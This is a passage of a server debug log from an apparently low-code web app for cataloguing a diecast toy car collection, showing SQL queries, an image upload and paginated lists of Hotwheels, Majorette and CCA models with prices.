  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T13:06:58.565Z server-connect:app Executing action step select
2026-02-03T13:06:58.565Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:06:58.566Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T13:06:58.566Z server-connect:app Executing action step select
2026-02-03T13:06:58.566Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:06:58.567Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T13:06:58.568Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 117,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:07:54.477Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:07:54.477Z server-connect:app Executing action step identify
2026-02-03T13:07:54.477Z server-connect:app options: { provider: 'security' }
2026-02-03T13:07:54.477Z server-connect:output identity: 1
2026-02-03T13:07:54.478Z server-connect:app Executing action step restrict
2026-02-03T13:07:54.478Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:07:54.482Z server-connect:output restrict: undefined
2026-02-03T13:07:54.482Z server-connect:app Executing action step condition
2026-02-03T13:07:54.482Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:07:54.482Z server-connect:app Executing action step insert
2026-02-03T13:07:54.482Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:07:54.484Z server-connect:output insert: { affected: 1, identity: 136 }
2026-02-03T13:07:54.484Z server-connect:app Executing action step condition
2026-02-03T13:07:54.484Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-03T13:07:54.485Z server-connect:app Executing action step upload
2026-02-03T13:07:54.485Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:07:54.485Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-03T13:07:54.485Z server-connect:upload Process fields: 'images[]'
2026-02-03T13:07:54.485Z server-connect:upload Processing file: {
  name: 'ID062039_LavveS3Fqgu.jpg',
  data: <Buffer >,
  size: 74488,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-3-20378841770124074475',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '8f8b89d0f4d1e387abd58a3e294d6588',
  mv: [Function: mv]
}
2026-02-03T13:07:54.485Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID062039_LavveS3Fqgu_fff26409-8d86-4b57-b1f4-5cc214c71cbf.jpg',
  rel: 'public/assets/images/diecast/ID062039_LavveS3Fqgu_fff26409-8d86-4b57-b1f4-5cc214c71cbf.jpg'
}
2026-02-03T13:07:54.485Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID062039_LavveS3Fqgu_fff26409-8d86-4b57-b1f4-5cc214c71cbf.jpg',
  rel: 'assets/images/diecast/ID062039_LavveS3Fqgu_fff26409-8d86-4b57-b1f4-5cc214c71cbf.jpg'
}
2026-02-03T13:07:54.486Z server-connect:output upload_image: [
  {
    name: 'ID062039_LavveS3Fqgu_fff26409-8d86-4b57-b1f4-5cc214c71cbf.jpg',
    path: '/public/assets/images/diecast/ID062039_LavveS3Fqgu_fff26409-8d86-4b57-b1f4-5cc214c71cbf.jpg',
    url: '/assets/images/diecast/ID062039_LavveS3Fqgu_fff26409-8d86-4b57-b1f4-5cc214c71cbf.jpg',
    type: 'image/jpeg',
    size: 74488
  }
]
2026-02-03T13:07:54.486Z server-connect:app Executing action step repeat
2026-02-03T13:07:54.486Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:07:54.486Z server-connect:app Executing action step insert
2026-02-03T13:07:54.486Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:07:54.487Z server-connect:output images: { affected: 1, identity: 154 }
2026-02-03T13:07:54.487Z server-connect:output repeat_images: [ {} ]
2026-02-03T13:07:54.487Z server-connect:output condition: undefined
2026-02-03T13:07:54.487Z server-connect:output condition: undefined
2026-02-03T13:07:54.713Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:07:54.713Z server-connect:app Executing action step identify
2026-02-03T13:07:54.713Z server-connect:app options: { provider: 'security' }
2026-02-03T13:07:54.713Z server-connect:output identity: 1
2026-02-03T13:07:54.713Z server-connect:app Executing action step restrict
2026-02-03T13:07:54.713Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:07:54.714Z server-connect:output restrict: undefined
2026-02-03T13:07:54.714Z server-connect:app Executing action step paged
2026-02-03T13:07:54.714Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:07:54.718Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 118,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 136,
      model_name: '21 Ford Bronco',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
